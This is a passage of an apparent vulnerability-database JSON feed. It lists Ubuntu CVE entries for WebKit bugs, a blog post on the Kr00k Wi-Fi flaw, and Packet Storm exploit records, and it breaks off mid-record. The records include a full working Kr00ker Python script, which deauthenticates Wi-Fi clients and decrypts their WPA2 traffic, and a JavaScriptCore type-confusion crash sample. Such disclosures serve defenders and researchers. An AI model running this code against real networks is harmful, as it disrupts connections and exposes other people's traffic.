"cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-11-08T00:00:00", "type": "ubuntucve", "title": "CVE-2019-8814", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8814"], "modified": "2019-11-08T00:00:00", "id": "UB:CVE-2019-8814", "href": "https://ubuntu.com/security/CVE-2019-8814", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-02T14:36:43", "description": "Multiple memory corruption issues were addressed with improved memory\nhandling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2,\nwatchOS 6.1, Safari 13.0.3, iTunes for Windows 12.10.2. Processing\nmaliciously crafted web content may lead to arbitrary code execution.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[jdstrand](<https://launchpad.net/~jdstrand>) | webkit receives limited support. For details, see https://wiki.ubuntu.com/SecurityTeam/FAQ#webkit webkit in Ubuntu uses the JavaScriptCore (JSC) engine, not V8\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T00:00:00", "type": "ubuntucve", "title": "CVE-2019-8808", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8808"], "modified": "2019-12-18T00:00:00", "id": "UB:CVE-2019-8808", "href": "https://ubuntu.com/security/CVE-2019-8808", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T14:36:42", "description": "Multiple memory corruption issues were addressed with improved memory\nhandling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2,\nSafari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud\nfor Windows 7.15. Processing maliciously crafted web content may lead to\narbitrary code execution.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[jdstrand](<https://launchpad.net/~jdstrand>) | webkit receives limited support. For details, see https://wiki.ubuntu.com/SecurityTeam/FAQ#webkit webkit in Ubuntu uses the JavaScriptCore (JSC) engine, not V8\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T00:00:00", "type": "ubuntucve", "title": "CVE-2019-8822", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8822"], "modified": "2019-12-18T00:00:00", "id": "UB:CVE-2019-8822", "href": "https://ubuntu.com/security/CVE-2019-8822", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T14:36:42", "description": "Multiple memory corruption issues were addressed with improved memory\nhandling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2,\nSafari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0.\nProcessing maliciously crafted web content may lead to arbitrary code\nexecution.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[jdstrand](<https://launchpad.net/~jdstrand>) | webkit receives limited support. For details, see https://wiki.ubuntu.com/SecurityTeam/FAQ#webkit webkit in Ubuntu uses the JavaScriptCore (JSC) engine, not V8\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T00:00:00", "type": "ubuntucve", "title": "CVE-2019-8782", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8782"], "modified": "2019-12-18T00:00:00", "id": "UB:CVE-2019-8782", "href": "https://ubuntu.com/security/CVE-2019-8782", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T14:36:45", "description": "Multiple memory corruption issues were addressed with improved memory\nhandling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2,\nwatchOS 6.1, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows\n11.0, iCloud for Windows 7.15. Processing maliciously crafted web content\nmay lead to arbitrary code execution.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[jdstrand](<https://launchpad.net/~jdstrand>) | webkit receives limited support. For details, see https://wiki.ubuntu.com/SecurityTeam/FAQ#webkit webkit in Ubuntu uses the JavaScriptCore (JSC) engine, not V8\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T00:00:00", "type": "ubuntucve", "title": "CVE-2019-8820", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8820"], "modified": "2019-12-18T00:00:00", "id": "UB:CVE-2019-8820", "href": "https://ubuntu.com/security/CVE-2019-8820", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T14:36:44", "description": "Multiple memory corruption issues were addressed with improved memory\nhandling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2,\nSafari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud\nfor Windows 7.15. Processing maliciously crafted web content may lead to\narbitrary code execution.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[jdstrand](<https://launchpad.net/~jdstrand>) | webkit receives limited support. For details, see https://wiki.ubuntu.com/SecurityTeam/FAQ#webkit webkit in Ubuntu uses the JavaScriptCore (JSC) engine, not V8\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T00:00:00", "type": "ubuntucve", "title": "CVE-2019-8783", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8783"], "modified": "2019-12-18T00:00:00", "id": "UB:CVE-2019-8783", "href": "https://ubuntu.com/security/CVE-2019-8783", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T14:36:38", "description": "Multiple memory corruption issues were addressed with improved memory\nhandling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2,\nSafari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud\nfor Windows 7.15. Processing maliciously crafted web content may lead to\narbitrary code execution.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[jdstrand](<https://launchpad.net/~jdstrand>) | webkit receives limited support. For details, see https://wiki.ubuntu.com/SecurityTeam/FAQ#webkit webkit in Ubuntu uses the JavaScriptCore (JSC) engine, not V8\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T00:00:00", "type": "ubuntucve", "title": "CVE-2019-8823", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8823"], "modified": "2019-12-18T00:00:00", "id": "UB:CVE-2019-8823", "href": "https://ubuntu.com/security/CVE-2019-8823", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "schneier": [{"lastseen": "2020-03-03T13:34:15", "description": "There's a vulnerability in Wi-Fi hardware that [breaks the encryption](<https://www.wired.com/story/a-flaw-in-billions-of-wi-fi-chips-let-attackers-decrypt-data/>):\n\n> The vulnerability exists in Wi-Fi chips made by Cypress Semiconductor and Broadcom, the latter a chipmaker Cypress acquired in 2016. The affected devices include iPhones, iPads, Macs, Amazon Echos and Kindles, Android devices, and Wi-Fi routers from Asus and Huawei, as well as the Raspberry Pi 3. Eset, the security company that discovered the vulnerability, said the flaw primarily affects Cypress' and Broadcom's FullMAC WLAN chips, which are used in billions of devices. Eset has named the vulnerability Kr00k, and it is tracked as CVE-2019-15126. \n> \n> Manufacturers have made patches available for most or all of the affected devices, but it's not clear how many devices have installed the patches. Of greatest concern are vulnerable wireless routers, which often go unpatched indefinitely.\n\nThat's the real problem. Many of these devices won't get patched -- ever.", "cvss3": {}, "published": "2020-03-03T12:43:15", "type": "schneier", "title": "Wi-Fi Chip Vulnerability", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2019-15126"], "modified": "2020-03-03T12:43:15", "id": "SCHNEIER:B6B87E61CED96ACFAF94DA5C82D0F8A4", "href": "https://www.schneier.com/blog/archives/2020/03/wi-fi_chip_vuln.html", "cvss": {"score": 2.9, "vector": "AV:A/AC:M/Au:N/C:P/I:N/A:N"}}], "packetstorm": [{"lastseen": "2020-03-19T23:37:23", "description": "", "cvss3": {}, "published": "2020-03-19T00:00:00", "type": "packetstorm", "title": "Broadcom Wi-Fi KR00K Proof Of Concept", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-15126"], "modified": "2020-03-19T00:00:00", "id": "PACKETSTORM:156809", "href": "https://packetstormsecurity.com/files/156809/Broadcom-Wi-Fi-KR00K-Proof-Of-Concept.html", "sourceData": "`# Kr00ker \n# \n# Experimetal KR00K PoC in python3 using scapy \n# \n# Description: \n# This script is a simple experiment to exploit the KR00K vulnerability (CVE-2019-15126), \n# that allows to decrypt some WPA2 CCMP data in vulnerable devices. \n# More specifically this script attempts to retrieve Plaintext Data of WPA2 CCMP packets knowning: \n# * the TK (128 bites all zero) \n# * the Nonce (sent plaintext in packet header) \n# * the Encrypted Data \n# \n# Where: \n# * WPA2 AES-CCMP decryption --> AES(Nonce,TK) XOR Encrypted Data = Decrypted Data \n# * Decrypted stream starts with \"\\xaa\\xaa\\x03\\x00\\x00\\x00\" \n# * Nonce (104 bits) = Priority (1byte) + SRC MAC (6bytes) + PN (6bytes) \n# \n# This PoC works on WPA2 AES CCMP with Frequency 2.4GHz WLANs. \n# \n# References: \n# https://www.welivesecurity.com/wp-content/uploads/2020/02/ESET_Kr00k.pdf \n# \n# \n# Copyright (C) 2020 Maurizio Siddu \n# \n# \n# This program is free software: you can redistribute it and/or modify \n# it under the terms of the GNU General Public License as published by \n# the Free Software Foundation, either version 3 of the License, or \n# (at your option) any later version. \n# \n# This program is distributed in the hope that it will be useful, \n# but WITHOUT ANY WARRANTY; without even the implied warranty of \n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the \n# GNU General Public License for more details. \n# \n# You should have received a copy of the GNU General Public License \n# along with this program. If not, see <http://www.gnu.org/licenses/> \n \n \n \n \n \nimport argparse, threading \nimport datetime, sys, re \nfrom scapy.all import * \nfrom scapy.layers.dot11 import RadioTap, Dot11, Dot11Deauth \nfrom Cryptodome.Cipher import AES \n \n \n \n# Proof of Sympathy ;-) \nLOGO = \"\"\"\\ \n__ _ ____ __ __ __ _ ____ ____ \n( / )( _ \\ / \\ / \\( / )( __)( _ \\\\ \n) ( ) /( 0 )( 0 )) ( ) _) ) / \n(__\\_)(__\\_) \\__/ \\__/(__\\_)(____)(__\\_) \n\"\"\" \n \n \nKR00K_PATTERN = b'\\xaa\\xaa\\x03\\x00\\x00\\x00' \n \n \nclass Krooker: \n# Define Krooker class \ndef __init__(self, interface, target_mac, other_mac, reason, num, delay): \nself.interface = interface \nself.target_mac = target_mac \nself.other_mac = other_mac \nself.reason = reason \nself.num = num \nself.delay = delay \n \n \ndef wpa2_decrypt(self, enc_pkt): \n# Try to decrypt the data contained in the sniffed packet \nt_key = bytes.fromhex(\"00000000000000000000000000000000\") \n# This check is redundant \nif not enc_pkt.haslayer(Dot11CCMP): \nreturn None \ndot11 = enc_pkt[Dot11] \ndot11ccmp = enc_pkt[Dot11CCMP] \n \n# Extract the Packet Number (IV) \nPN = \"{:02x}{:02x}{:02x}{:02x}{:02x}{:02x}\".format(dot11ccmp.PN5,dot11ccmp.PN4,dot11ccmp.PN3,dot11ccmp.PN2,dot11ccmp.PN1,dot11ccmp.PN0) \n# Extract the victim MAC address \nsource_addr = re.sub(':','',dot11.addr2) \n# Extract the QoS tid \nif enc_pkt.haslayer(Dot11QoS): \ntid = \"{:01x}\".format(enc_pkt[Dot11QoS].TID) \nelse: \ntid = '0' \npriority = tid + '0' \n# Build the nonce \nccmp_nonce = bytes.fromhex(priority) + bytes.fromhex(source_addr) + bytes.fromhex(PN) \n \n# Finally try to decrypt wpa2 data \nenc_cipher = AES.new(t_key, AES.MODE_CCM, ccmp_nonce, mac_len=8) \ndecrypted_data = enc_cipher.decrypt(dot11ccmp.data[:-8]) \nreturn decrypted_data \n \n \n \ndef disassociate(self): \n# Forge the dot11 disassociation packet \ndis_packet = RadioTap()/Dot11(type=0, subtype=12, addr1=self.target_mac, addr2=self.other_mac, addr3=self.other_mac)/Dot11Deauth(reason=self.reason) \n# Loop to send the disassociation packets to the victim device \nwhile True: \n# Repeat every delay value seconds \ntime.sleep(self.delay) \nprint(\"[\"+str(datetime.now().time())+\"][+] Disassociation frames (reason \"+str(self.reason)+\") sent to target \"+self.target_mac+\" as sender endpoint \"+self.other_mac) \nsendp(dis_packet, iface=self.interface, count=self.num, verbose=False) \n \n \n \ndef check_packet(self, sniffed_pkt): \n# Filter for WPA2 AES CCMP packets containing data to decrypt \nif sniffed_pkt[Dot11].type == 2 and sniffed_pkt.haslayer(Dot11CCMP): \n#print(\"[\"+str(datetime.now().time())+\"][DEBUG] packet tipe:\"+str(sniffed_pkt[Dot11].type)+\" sub:\"+str(sniffed_pkt[Dot11].subtype)) \n# Decrypt the packets using the all zero temporary key \ndec_data = self.wpa2_decrypt(sniffed_pkt) \n# Check if the target is vulnerable \nif dec_data and dec_data[0:len(KR00K_PATTERN)] == KR00K_PATTERN: \nprint(\"[\"+str(datetime.now().time())+\"][+] Target \"+self.target_mac+\" is vulnerable to Kr00k, decrypted \"+str(len(dec_data))+\" bytes\") \nhexdump(dec_data) \n# Save the encrypted and decrypted packets \nprint(\"[\"+str(datetime.now().time())+\"][+] Saving encrypted and decrypted 'pcap' files in current folder\") \ndec_pkt = bytes.fromhex(re.sub(':','',self.target_mac) + re.sub(':','',self.other_mac)) + dec_data[6:] \nwrpcap(\"enc_pkts.pcap\", sniffed_pkt, append=True) \nwrpcap(\"dec_pkts.pcap\", dec_pkt, append=True) \n# Uncomment this if you need a one-shoot PoC decryption \n#sys.exit(0) \n#else: \n#print(\"[\"+str(datetime.now().time())+\"][DEBUG] This data decryption with all zero TK went wrong\") \n#pass \n \n \n \ndef run_disassociation(self): \n# Run disassociate function in a background thread \ntry: \nself.disassociate() \nexcept KeyboardInterrupt: \nprint(\"\\n[\"+str(datetime.now().time())+\"][!] Exiting, caught keyboard interrupt\") \nreturn \n \n \n \n \n \ndef main(): \n# Passing arguments \nparser = argparse.ArgumentParser(prog=\"kr00ker.py\", usage=\"%(prog)s -i <interface-name> -s <SSID> -c <MAC-client> -n <num-packets> -r <reason-id> -t <target-id> -w <wifi-channel> -d <delay>\") \nparser.add_argument(\"-i\", \"--interface\", required=True, help=\"The Interface name that you want to send packets out of, it must be set in monitor mode\", type=str) \nparser.add_argument(\"-b\", \"--bssid\", required=True, help=\"The MAC address of the Access Point to test\", type=str) \nparser.add_argument(\"-c\", \"--client\", required=True, help=\"The MAC address of the Client Device to test\", type=str) \nparser.add_argument(\"-n\", \"--number\", required=False, help=\"The Number of disassociation packets you want to send\", type=int, default=1) \nparser.add_argument(\"-r\", \"--reason\", required=False, help=\"The Reason identifier of disassociation packets you want to send, accepted values from 1 to 99\", type=int, default=0) \nparser.add_argument(\"-t\", \"--target\", required=False, help=\"The Target identifier\", choices=[\"ap\", \"client\"], type=str, default=\"ap\") \nparser.add_argument(\"-w\", \"--wifi_channel\", required=False, help=\"The WiFi channel identifier\", type=int, default=\"1\") \nparser.add_argument(\"-d\", \"--delay\", required=False, help=\"The delay for disassociation frames\", type=int, default=\"4\") \nargs = parser.parse_args() \n \n# Print the kr00ker logo \nprint(LOGO) \n \n# Start the fun!! \ntry: \ninterface = args.interface \nap_mac = args.bssid.lower() \nclient_mac = args.client.lower() \nreason = args.reason \ntarget_channel = args.wifi_channel \nn_pkts = args.number \ndelay = args.delay \n \n# Set the selected channel \nif target_channel in range(1, 14): \nos.system(\"iwconfig \" + interface + \" channel \" + str(target_channel)) \nelse: \nprint(\"[\"+str(datetime.now().time())+\"][-] Exiting, the specified channel \"+target_channel+\" is not valid\") \nexit(1) \n \n# Check if valid device MAC Addresses have been specified \nif client_mac == \"ff:ff:ff:ff:ff:ff\" or ap_mac == \"ff:ff:ff:ff:ff:ff\": \nprint(\"[\"+str(datetime.now().time())+\"][-] Exiting, the specified FF:FF:FF:FF:FF:FF broadcast MAC address is not valid\") \nexit(1) \n \n# Check if a valid reason have been specified \nif reason not in range(1,99): \nprint(\"Exiting, specified a not valid disassociation Reason ID: \"+str(reason)) \nexit(1) \n \n# Set the MAC address of the target \nif args.target == \"client\": \ntarget_mac = client_mac \nother_mac = ap_mac \nprint(\"[\"+str(datetime.now().time())+\"][+] The Client device \"+target_mac+\" will be the target\") \nelse: \ntarget_mac = ap_mac \nother_mac = client_mac \nprint(\"[\"+str(datetime.now().time())+\"][+] The AP \"+target_mac+\" will be the target\") \n \n# Krooker instance initialization \nkrooker = Krooker(interface, target_mac, other_mac, reason, n_pkts, delay) \n \n# Start a background thread to send disassociation packets \nk_th = threading.Thread(target=krooker.run_disassociation) \nk_th.daemon = True # This does not seem to be useful \nk_th.start() \n \n# Start packet interception \ns_filter = \"ether src \"+str(target_mac)+\" and ether dst \"+str(other_mac)+\" and type Data\" \nsniff(iface=krooker.interface, filter=s_filter, prn=krooker.check_packet) \n \nexcept KeyboardInterrupt: \nprint(\"\\n[\"+str(datetime.now().time())+\"][!] Exiting, caught keyboard interrupt\") \nk_th.join() \nsys.exit(0) \n \nexcept scapy.error.Scapy_Exception: \nprint(\"[\"+str(datetime.now().time())+\"][!] Exiting, your wireless interface seems not in monitor mode\") \nsys.exit(1) \n \n \n \nif __name__ == \"__main__\": \nmain() \n`\n", "cvss": {"score": 2.9, "vector": "AV:A/AC:M/Au:N/C:P/I:N/A:N"}, "sourceHref": "https://packetstormsecurity.com/files/download/156809/broadcomwifi-disclose.txt"}, {"lastseen": "2019-11-06T02:29:27", "description": "", "cvss3": {}, "published": "2019-11-05T00:00:00", "type": "packetstorm", "title": "JSC Argument Object Reconstruction Type Confusion", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-8820"], "modified": "2019-11-05T00:00:00", "id": "PACKETSTORM:155112", "href": "https://packetstormsecurity.com/files/155112/JSC-Argument-Object-Reconstruction-Type-Confusion.html", "sourceData": "`JSC: Type confusion during bailout when reconstructing arguments objects \n \nThe following sample was found by Fuzzilli and then slightly modified. It crashes JSC in debug builds: \n \nfunction main() { \nconst v2 = [1337,1337]; \nconst v3 = [1337,v2,v2,0]; \nObject.__proto__ = v3; \nfor (let v10 = 0; v10 < 1000; v10++) { \nfunction v11(v12,v13) { \nconst v15 = v10 + 127; \nconst v16 = String(); \nconst v17 = String.fromCharCode(v10,v10,v15); \nconst v19 = Object.shift(); \nfunction v23() { \nlet v28 = arguments; \n} \nconst v29 = Object(); \nconst v30 = v23({},129); \nconst v31 = [-903931.176976766,v17,,,-903931.176976766]; \nconst v32 = v31.join(\\\"\\\"); \n \ntry { \nconst v34 = Function(v32); \nconst v35 = v34(); \nfor (let v39 = 0; v39 < 127; v39++) { \nconst v41 = isFinite(); \nlet v42 = isFinite; \nfunction v43(v44,v45,v46) { \n} \nconst v47 = v41[4]; \nconst v48 = v47[64]; \nconst v49 = v35(); \nconst v50 = v43(); \nconst v51 = v34(); \n} \n} catch(v52) { \n} \n \n} \nconst v53 = v11(); \n} \n} \nnoDFG(main); \nnoFTL(main); \nmain(); \n \nCrashes with: \n \nASSERTION FAILED: cell->inherits(*cell->JSC::JSCell::vm(), std::remove_pointer<T>::type::info()) \n../../Source/JavaScriptCore/runtime/WriteBarrier.h(58) : void JSC::validateCell(T) [T = JSC::JSFunction *] \n1 0x108070cb9 WTFCrash \n2 0x103907f0b WTFCrashWithInfo(int, char const*, char const*, int) \n3 0x106c0900f void JSC::validateCell<JSC::JSFunction*>(JSC::JSFunction*) \n4 0x106c0275f JSC::WriteBarrierBase<JSC::JSFunction, WTF::DumbPtrTraits<JSC::JSFunction> >::set(JSC::VM&, JSC::JSCell const*, JSC::JSFunction*) \n5 0x10705a727 JSC::DirectArguments::setCallee(JSC::VM&, JSC::JSFunction*) \n6 0x107084753 operationCreateDirectArgumentsDuringExit \n7 0x4d8af2e06484 \n8 0x4d8af2e034c3 \n9 0x1078661b7 llint_entry \n10 0x107848f70 vmEntryToJavaScript \n11 0x107740047 JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) \n12 0x10773f650 JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::ExecState*, JSC::JSObject*) \n13 0x107a9afc5 JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) \n14 0x1039549a6 runWithOptions(GlobalObject*, CommandLine&, bool&) \n15 0x10392a10c jscmain(int, char**)::$_4::operator()(JSC::VM&, GlobalObject*, bool&) const \n16 0x103909aff int runJSC<jscmain(int, char**)::$_4>(CommandLine const&, bool, jscmain(int, char**)::$_4 const&) \n17 0x103908893 jscmain(int, char**) \n18 0x10390880e main \n19 0x7fff79ad63d5 start \n \nThe assertion indicates a type confusion. In particular, setCallee stores a JSCell into a WriteBarrier<JSFunction> which is not actually a JSFunction, triggering this assertion. \n \nBelow is my preliminary analysis of the bug. \n \nWhen DFG compiles v11, it decides to inline v23 and the isFinite function. The relevant parts of the resulting DFG graph (with many omissions) follow: \n \n# Inlined v23 \n2 0: --> v23#EOpuso:<0x1078a43c0, bc#222, Call, closure call, numArgs+this = 3, numFixup = 0, stackOffset = -26 (loc0 maps to loc26)> \n38 2 0: 207:< 1:->\\tGetScope(Check:Untyped:@169, JS|PureInt, R:Stack(-23), bc#1, ExitValid) \n39 2 0: 208:<!0:->\\tMovHint(Check:Untyped:@207, MustGen, loc30, R:Stack(-23), W:SideState, ClobbersExit, bc#1, ExitValid) \n40 2 0: 209:< 1:->\\tSetLocal(Check:Untyped:@207, loc30(QC~/FlushedJSValue), R:Stack(-23), W:Stack(-31), bc#1, exit: bc#222 --> v23#EOpuso:<0x1078a43c0> (closure) bc#3, ExitValid) predicting None \n \n44 2 0: 213:< 1:->\\tCreateDirectArguments(JS|PureInt, R:Stack,Stack(-23),HeapObjectCount, W:HeapObjectCount, Exits, ClobbersExit, bc#7, ExitValid) \n45 2 0: 214:<!0:->\\tMovHint(Check:Untyped:@213, MustGen, loc32, R:Stack(-23), W:SideState, ClobbersExit, bc#7, ExitInvalid) \n46 2 0: 215:< 1:->\\tSetLocal(Check:Untyped:@213, loc32(SC~/FlushedJSValue), R:Stack(-23), W:Stack(-33), bc#7, exit: bc#222 --> v23#EOpuso:<0x1078a43c0> (closure) bc#9, ExitValid) predicting None \n2 0: <-- v23#EOpuso:<0x1078a43c0, bc#222, Call, closure call, numArgs+this = 3, numFixup = 0, stackOffset = -26 (loc0 maps to loc26)> \n \n4 0: Block #4 (bc#317): (OSR target) \n24 4 0: 322:< 1:->\\tJSConstant(JS|PureInt, Weak:Object: 0x1078e4000 with butterfly 0x18052e8408 (Structure %C0:global), StructureID: 40546, bc#347, ExitValid) \n27 4 0: 325:< 1:->\\tSetLocal(Check:Untyped:@322, loc30(DE~/FlushedJSValue), W:Stack(-31), bc#347, exit: bc#354, ExitValid) predicting None \n \n# Inlined isFinite() \n4 0: --> isFinite#DJEgRe:<0x1078a4640 (StrictMode), bc#362, Call, known callee: Object: 0x1078cfd50 with butterfly 0x0 (Structure %Cm:Function), StructureID: 63290, numArgs+this = 1, numFixup = 1, stackOffset = -38 (loc0 maps to loc38)> \n37 4 0: 335:< 1:->\\tJSConstant(JS|PureInt, Undefined, bc#0, 